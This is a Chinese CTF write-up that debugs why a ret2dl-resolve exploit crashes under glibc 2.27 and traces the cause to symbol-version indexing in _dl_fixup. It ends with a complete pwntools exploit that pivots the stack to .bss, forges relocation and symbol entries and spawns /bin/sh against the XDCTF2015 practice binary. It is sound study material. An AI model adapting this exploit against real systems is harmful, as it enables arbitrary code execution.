Ret2dl?What?

直接贴链接,不再赘述 http://pwn4.fun/2016/11/09/Return-to-dl-resolve/

复现环境

  • Ubuntu 18.04
  • glibc 2.27

Problem

首先,我按照 http://pwn4.fun/2016/11/09/Return-to-dl-resolve/ 中的payload进行了调试,自行调整,一直到stage 4,大体都是ok的,原理也比较清晰易懂,修改的地方也不是很多

但是,在stage 4时,却一直无法成功,于是我先仔细研究了payload,发现和作者步骤过程基本一致,与ctf-wiki上也是大差不差,但是却一直报非法内存地址访问。

嘛,那就gdb大法呗~

确定报错位置

首先先确定了报错位置

error

可以看到,此时的edx所指向的内存地址是无法访问的,故而在0xf7fd6fed <_dl_fixup+125> mov ebx, DWORD PTR [edx+0x4] 尝试取值的过程中,程序崩溃退出

那么为何在payload几乎相同的情况下,却会发生这种问题呢,带着疑惑,继续向下看

查看源代码

其实一开始我是以为我哪里写错了,所以浪费了一些时间去校对代码,但是无果

于是只能用最直接的方法,看看glibc的实现,找到为何会出现这个问题

报错部分的源代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/* This function is called through a special trampoline from the PLT the
first time each PLT entry is called. We must perform the relocation
specified in the PLT of the given shared object, and return the resolved
function address to the trampoline, which will restart the original call
to that address. Future calls will bounce directly from the PLT to the
function. */

DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;

/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

通过比对汇编与源代码,我找到了报错语句为if (version->hash == 0) ,也就是说在尝试获取version结构体中的hash成员值时出错了

那这个version又是什么?

这里要感谢这位师傅的分析,给了我一点启示 https://forum.90sec.com/t/topic/260

总的来说,原理大概可以概括为,在_dl_fixup中,需要校验符号的版本(version),而这个version值是这样取的

1
2
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];

可以看到,ndx作为l_versions成员的下标,其取值与sym的取值十分相似

1
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

其中symtab就是.dynsym节的起始地址,而其中的reloc->r_info则是我们所控制的值,此值被同时用于version以及sym的取值

所以也就是说,在我们满足了劫持sym至我们伪造的sym结构体上的同时,我们也必须兼顾version的取值,如果我们所伪造的reloc->r_info值不恰当,那么就可能导致version取值出现错误

而这个reloc->r_info值实际上与我们在exp中向.bss节上写入payload的时候选择的初始偏移有关,故而包括ctf-wiki以及很多网上的payload中所谓的“向bss+0x800偏移处写入payload是为了防止_dl_fixup会引用位置较低的地方”这个解释是不完全正确的,实际上需要在.bss节上加一段偏移主要还是为了保证reloc->r_info能在一个合理的区间之内,使得sym以及version都能被正确的取值

而我们所希望的,就是使得version能够取值到null(具体可以详细看上面师傅的文章),为了达到这一点,我们就需要使得ndx的值尽可能为0(因为l->l_versions[0]一般为null)

详解

那么,我就来详细分析一下步骤,以及如何尽可能保证ndx的值能够取到0

首先,在向.bss节上写入payload的时候选择的初始偏移越大,意味着我们所伪造的sym结构体相对于.dynsym节的起始位置的偏移距离也会越大

这一偏移距离与我们所伪造的reloc->r_info值息息相关

reloc->r_info值则关系到了ndx的值

有关ndx取值代码如下

1
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;

对应的汇编代码如下,其中esi的值0x269是我们伪造的reloc->r_info的值,edx.gnu.version的起始地址,并且此时选择的.bss的初始偏移距离为0x800

1
2
3
4
5
$edx   : 0x080482d8
$esi : 0x269
......
0xf7f45fda <_dl_fixup+106> movzx edx, WORD PTR [edx+esi*2]
0xf7f45fde <_dl_fixup+110> and edx, 0x7fff

当上面的代码执行完成后,edx的值如下

1
$edx   : 0x300e   

此时edx的值实际上就是ndx的值

当前edx+esi*2的值为0x80487aa,其指向的内存空间布局如下,可以看到0x80487aa处双字节数据即0x300e

1
2
3
4
5
6
7
8
9
10
11
12
13
8048714 00000000 20000000 68000000 d6fdffff  .... ...h.......
8048724 46000000 00410e08 8502420d 05448303 F....A....B..D..
8048734 7ec5c30c 04040000 38000000 8c000000 ~.......8.......
8048744 f8fdffff a7000000 00440c01 00471005 .........D...G..
8048754 02750045 0f037574 06100702 757c1003 .u.E..ut....u|..
8048764 02757802 90c10c01 0041c341 c741c543 .ux......A.A.A.C
8048774 0c040400 48000000 c8000000 70feffff ....H.......p...
8048784 5d000000 00410e08 8502410e 0c870341 ]....A....A....A
8048794 0e108604 410e1483 054e0e20 690e2441 ....A....N. i.$A
80487a4 0e28440e 2c440e30 4d0e2047 0e1441c3 .(D.,D.0M. G..A.
80487b4 0e1041c6 0e0c41c7 0e0841c5 0e040000 ..A...A...A.....
80487c4 10000000 14010000 84feffff 02000000 ................
80487d4 00000000 00000000

此时程序的整体内存空间布局如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[ Legend:  Code | Heap | Stack ]
Start End Offset Perm Path
0x08048000 0x08049000 0x00000000 r-x /home/ph4ntom/binary/linux/stackoverflow/ret2dlresolve/bof
0x08049000 0x0804a000 0x00000000 r-- /home/ph4ntom/binary/linux/stackoverflow/ret2dlresolve/bof
0x0804a000 0x0804b000 0x00001000 rw- /home/ph4ntom/binary/linux/stackoverflow/ret2dlresolve/bof
0xf7d92000 0xf7f67000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.27.so
0xf7f67000 0xf7f68000 0x001d5000 --- /lib/i386-linux-gnu/libc-2.27.so
0xf7f68000 0xf7f6a000 0x001d5000 r-- /lib/i386-linux-gnu/libc-2.27.so
0xf7f6a000 0xf7f6b000 0x001d7000 rw- /lib/i386-linux-gnu/libc-2.27.so
0xf7f6b000 0xf7f6e000 0x00000000 rw-
0xf7f87000 0xf7f89000 0x00000000 rw-
0xf7f89000 0xf7f8c000 0x00000000 r-- [vvar]
0xf7f8c000 0xf7f8d000 0x00000000 r-x [vdso]
0xf7f8d000 0xf7fb3000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.27.so
0xf7fb3000 0xf7fb4000 0x00025000 r-- /lib/i386-linux-gnu/ld-2.27.so
0xf7fb4000 0xf7fb5000 0x00026000 rw- /lib/i386-linux-gnu/ld-2.27.so
0xffa55000 0xffa76000 0x00000000 rw- [stack]

可以看到0x80487aa落在了下面这页上

1
0x08048000 0x08049000 0x00000000 r-x /home/ph4ntom/binary/linux/stackoverflow/ret2dlresolve/bof

而我们都知道,内存页未被使用的空间均被0填充

故而我们可以从上面得到一个信息,从0x80487db-0x08049000这一段区间内,都被0所填充

那么如果我们可以控制edx+esi*2的值落在这一区间,我们就可以保证ndx的值为0,从而使得versionnull

而现在我们的ndx并不是0,所以我们先保留上述观点,继续看下去

接着执行如下代码

1
version = &l->l_versions[ndx];

对应的汇编代码如下

1
2
3
4
5
6
$eax   : 0xf7f5e940  →  0x00000000
$edx : 0x300e0
......
0xf7f45fe4 <_dl_fixup+116> shl edx, 0x4
0xf7f45fe7 <_dl_fixup+119> add edx, DWORD PTR [eax+0x170]
0xf7f45fed <_dl_fixup+125> mov ebx, DWORD PTR [edx+0x4]

当前eax+0x170中保存的地址是这样的

1
2
gef➤  x/wx $eax+0x170
0xf7fb4ab0: 0xf7f873f0

第二句汇编执行完成后,edx的值如下

1
$edx   : 0xf7fcb6b0

此时内存布局是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[ Legend:  Code | Heap | Stack ]
Start End Offset Perm Path
0x08048000 0x08049000 0x00000000 r-x /home/ph4ntom/binary/linux/stackoverflow/ret2dlresolve/bof
0x08049000 0x0804a000 0x00000000 r-- /home/ph4ntom/binary/linux/stackoverflow/ret2dlresolve/bof
0x0804a000 0x0804b000 0x00001000 rw- /home/ph4ntom/binary/linux/stackoverflow/ret2dlresolve/bof
0xf7d92000 0xf7f67000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.27.so
0xf7f67000 0xf7f68000 0x001d5000 --- /lib/i386-linux-gnu/libc-2.27.so
0xf7f68000 0xf7f6a000 0x001d5000 r-- /lib/i386-linux-gnu/libc-2.27.so
0xf7f6a000 0xf7f6b000 0x001d7000 rw- /lib/i386-linux-gnu/libc-2.27.so
0xf7f6b000 0xf7f6e000 0x00000000 rw-
0xf7f87000 0xf7f89000 0x00000000 rw-
0xf7f89000 0xf7f8c000 0x00000000 r-- [vvar]
0xf7f8c000 0xf7f8d000 0x00000000 r-x [vdso]
0xf7f8d000 0xf7fb3000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.27.so
0xf7fb3000 0xf7fb4000 0x00025000 r-- /lib/i386-linux-gnu/ld-2.27.so
0xf7fb4000 0xf7fb5000 0x00026000 rw- /lib/i386-linux-gnu/ld-2.27.so
0xffa55000 0xffa76000 0x00000000 rw- [stack]

可以看到此时edx的值已经处在了无法访问的内存区域,故而当执行到第三句汇编时,程序就会崩溃

综上所述,我们可以知道,我们选择的.bss节的初始偏移的大小应当严格控制,必须使偏移的大小能够让如下语句中的edx+esi*2落在规定的区间内,否则就会导致错误(当然,如果没有落在规定区间内,也有几率成功,因为基于上面edx+esi*2所指向的部分内存空间,我们可以看到存在一些双字节数据为0x0000,当edx+esi*2指向的数据为这些特殊位置时,也可以成功)

1
0xf7f45fda <_dl_fixup+106>  movzx  edx, WORD PTR [edx+esi*2]

我们也可以通过计算,得出.bss至少应当被抬高的偏移值

由于edx+esi*2.gnu.version节的起始地址之间最小的距离应当为0x80487db-0x80482d8=0x503

所以此时esi应当为0x503/0x2=0x282(向上取整)

也就是说,我们伪造的reloc->r_info最小值应当为0x282

反推最小抬高距离(在我的payload情况下),0x80481cc+0x10*0x282-0x804a000-0x50=0x99c

其中0x80481cc.dynsym节的起始地址,0x804a000.bss节的起始地址,0x50为已构造的payload的长度

附上我的最终payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
elf = ELF('bof')
r = process('./bof')
rop = ROP('./bof')

offset = 112
bss_addr = elf.bss()

readplt = elf.plt['read']
writeplt = elf.plt['write']

r.recvuntil('Welcome to XDCTF2015~!\n')

## stack pivoting to bss segment
stack_size = 0x99c
base_stage = bss_addr + stack_size
### padding
payload = ''
payload += 'a' * offset
payload += p32(readplt)
payload += p32(0x08048649) #pop esi ; pop edi ; pop ebp ; ret
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(0x0804864b) #pop ebp ; ret
payload += p32(base_stage)
payload += p32(0x08048465)
r.sendline(payload)

sh = "/bin/sh"
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
# got
fake_index = base_stage + 20 - rel_plt
write_got = elf.got['write']
# info
fake_sym_addr = base_stage + 28
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr+align
fake_sym_offset = (fake_sym_addr - dynsym)/0x10
r_info = (fake_sym_offset << 8) | 0x7
fake_func_str_addr = fake_sym_addr+0x10-dynstr
fake_write_sym = p32(fake_func_str_addr)+p32(0)+p32(0)+p32(0x12)

payload = ''
payload += p32(0xdeadbeef)
payload += p32(plt0)
payload += p32(fake_index)
payload += p32(0xdeadbeef)
#payload += p32(1)
payload += p32(base_stage+80)
#payload += p32(len(sh))
payload += p32(write_got)
payload += p32(r_info)
payload += 'a' *align
payload += p32(fake_func_str_addr)
payload += p32(0)
payload += p32(0)
payload += p32(0x12)
payload += "system\x00"
payload += 'a' * (80-len(payload))
payload += sh +'\x00'
payload += 'a' * (100- len(payload))

r.sendline(payload)
r.interactive()

运行结果

success